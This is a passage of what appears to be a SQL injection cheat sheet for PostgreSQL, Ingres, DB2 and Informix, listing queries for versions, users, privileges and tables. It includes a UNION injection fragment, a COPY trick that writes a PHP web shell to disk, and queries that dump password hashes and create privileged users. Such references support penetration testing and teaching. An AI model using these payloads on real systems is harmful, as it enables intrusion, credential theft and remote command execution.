…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions

Hostname, IP Address

SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)

Create Users

CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time

Drop Users

DROP USER test1; — priv

Make User DBA

ALTER USER test1 CREATEUSER CREATEDB; — priv

 Location of DB files

SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv

Default/System Databases

template0
template1

IngressSQL

Version

select dbmsinfo(‘_version’);

Comments

SELECT 123; — comment
select 123; /* comment */

Current User

select dbmsinfo(‘session_user’);
select dbmsinfo(‘system_user’);

List Users

First connect to iidbdb, then:
SELECT name, password FROM iiuser; — or
SELECT own FROM iidatabase;

Create Users

create user testuser with password = ‘testuser’;– priv

List Password Hashes

First connect to iidbdb, then:
select name, password from iiuser;

List Privileges

select dbmsinfo(‘db_admin’);
select dbmsinfo(‘create_table’);
select dbmsinfo(‘create_procedure’);
select dbmsinfo(‘security_priv’);
select dbmsinfo(‘select_syscat’);
select dbmsinfo(‘db_privileges’);
select dbmsinfo(‘current_priv_mask’);

List DBA Accounts

TODO

Current Database

select dbmsinfo(‘database’);

List Databases

SELECT name FROM iidatabase; — connect to iidbdb

List Columns

select column_name, column_datatype, table_name, table_owner from iicolumns;

List Tables

select table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != ‘$ingres’;

Find Tables From Column Name

SELECT table_name, table_owner FROM iicolumns WHERE column_name = ‘value’

Select Nth Row

Astoundingly, this doesn’tseem to be possible!  This is as close as you can get:select top 10 blah from table;
select first 10 blah form table;

Select Nth Char

select substr(‘abc’, 2, 1); — returns ‘b’

Bitwise AND

The function “bit_and” exists, but seems hard to use.  Here’s an
example of ANDing 3 and 5 together.  The result is a “byte” type
with value ?01:select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);

ASCII Value -> Char

TODO

Char -> ASCII Value

TODO
(The “ascii” function exists, but doesn’t seem to do what I’d expect.)

Casting

select cast(123 as varchar);
select cast(’123′ as integer);

String Concatenation

select ‘abc’ || ‘def’;

If Statement

TODO

Case Statement

TODO

Avoiding Quotes

TODO

Time Delay

???See Heavy Queries article for some ideas.

Make DNS Requests

TODO

Command Execution

Impossible?

Local File Access

TODO

Hostname, IP Address

SELECT dbmsinfo(‘ima_server’)

Location of DB files

SELECT dbdev, ckpdev, jnldev, sortdev FROM iidatabase WHERE name = ‘value’ — primary location of db
SELECT lname FROM iiextend WHERE dname = ‘value’ — extended location of db
SELECT are FROM iilocations where lname = ‘value’ – all area (ie directory) linked with a location

Default/System Databases

SELECT name FROM iidatabase WHERE own = ‘$ingres’ — connect to iidbdb

Installing Locally

The Ingres database can be downloaded for free from http://esd.ingres.com/
A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832

Database Client

TODO
There is a client called “sql” which can be used for local connections (at least) in the  database server package above.

Logging in from command line

$ su -  ingres
$ sql iidbdb
* select dbmsinfo(‘_version’); go

Identifying on the network

TODO

The following areas are interesting enough to include on this page, but I haven’t researched them for other databases:

Description

SQL / Comments 

 Batching Queries Allowed?

Not via DBI in PERL.  Subsequent statements seem to get ignored:
select blah from table where foo = 1; select … doesn’t matter this is ignored.

 FROM clause mandated in SELECTs?

No.  You don’t need to select form “dual” or anything.  The following is legal:
select 1;

 UNION supported

Yes.  Nothing tricky here.  The following is legal:
select 1 union select 2;

 Enumerate Tables Privs

select table_name, permit_user, permit_type from iiaccess;

 Length of a string

select length(‘abc’); — returns 3

 Roles and passwords

First you need to connect to iidbdb, then:
select roleid, rolepass from iirole;

List Database Procedures

First you need to connect to iidbdb, then:
select dbp_name,  dbp_owner from iiprocedure;

Create Users + Granting Privs

First you need to connect to iidbdb, then:
create user pm with password = ‘password’;
grant all on current installation to pm;

DB2

Version

select versionnumber, version_timestamp from sysibm.sysversions;

Comments

select blah from foo; — comment like this

Current User

select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;

List Users

N/A (I think DB2 uses OS-level user accounts for authentication.)Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;

List Password Hashes

N/A (I think DB2 uses OS-level user accounts for authentication.)

List Privileges

select * from syscat.tabauth; — privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
select * from SYSIBM.SYSUSERAUTH – List db2 system privilegies

List DBA Accounts

select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’

Current Database

select current server from sysibm.sysdummy1;

List Databases

SELECT schemaname FROM syscat.schemata;

List Columns

select name, tbname, coltype from sysibm.syscolumns;

List Tables

select name from sysibm.systables;

Find Tables From Column Name

select tbname from sysibm.syscolumns where name=’username’

Select Nth Row

select name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;

Select Nth Char

SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1;  — returns b

Bitwise AND

This page seems to indicate that DB2 has no support for bitwise operators!

ASCII Value -> Char

select chr(65) from sysibm.sysdummy1; — returns ‘A’

Char -> ASCII Value

select ascii(‘A’) from sysibm.sysdummy1; — returns 65

Casting

SELECT cast(’123′ as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;

String Concatenation

SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’
select ‘a’ || ‘b’ from sysibm.sysdummy1; — returns ‘ab’

If Statement

TODO

Case Statement

TODO

Avoiding Quotes

TODO

Time Delay

???See Heavy Queries article for some ideas.

Make DNS Requests

TODO

Command Execution

TODO

Local File Access

TODO

Hostname, IP Address

TODO

Location of DB files

TODO

Default/System Databases

TODO

Informix

Version

SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix

Comments

select 1 FROM systables WHERE tabid = 1; — comment

Current User

SELECT USER FROM systables WHERE tabid = 1;
select CURRENT_ROLE FROM systables WHERE tabid = 1;

List Users

select username, usertype, password from sysusers;

List Password Hashes

TODO

List Privileges

select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users
select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; — which procedures are accessible by which users

List DBA Accounts

TODO

Current Database

SELECT DBSERVERNAME FROM systables where tabid = 1; — server name

List Databases

select name, owner from sysdatabases;

List Columns

select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;

List Tables

select tabname, owner FROM systables;
select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid;

List Stored Procedures

select procname, owner FROM sysprocedures;

Find Tables From Column Name

select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’;

Select Nth Row

select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row

Select Nth Char

SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’

Bitwise AND

select bitand(6, 1) from systables where tabid = 1; — returns 0
select bitand(6, 2) from systables where tabid = 1; — returns 2

ASCII Value -> Char

TODO

Char -> ASCII Value

select ascii(‘A’) from systables where tabid = 1;

Casting

select cast(’123′ as integer) from systables where tabid = 1;
select cast(1 as char) from systables where tabid = 1;

String Concatenation

SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’
SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’

String Length

SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;

If Statement

TODO

Case Statement

select tabid, case when tabid>10 then “High” else ‘Low’ end from systables;

Avoiding Quotes

TODO

Time Delay

TODO

Make DNS Requests

TODO

Command Execution

TODO

Local File Access

TODO

Hostname, IP Address

SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname

Location of DB files

TODO

Default/System Databases

These are the system databases:
sysmaster
sysadmin*
sysuser*
sysutils*

* = don’t seem to contain anything / don’t allow readingInstalling Locally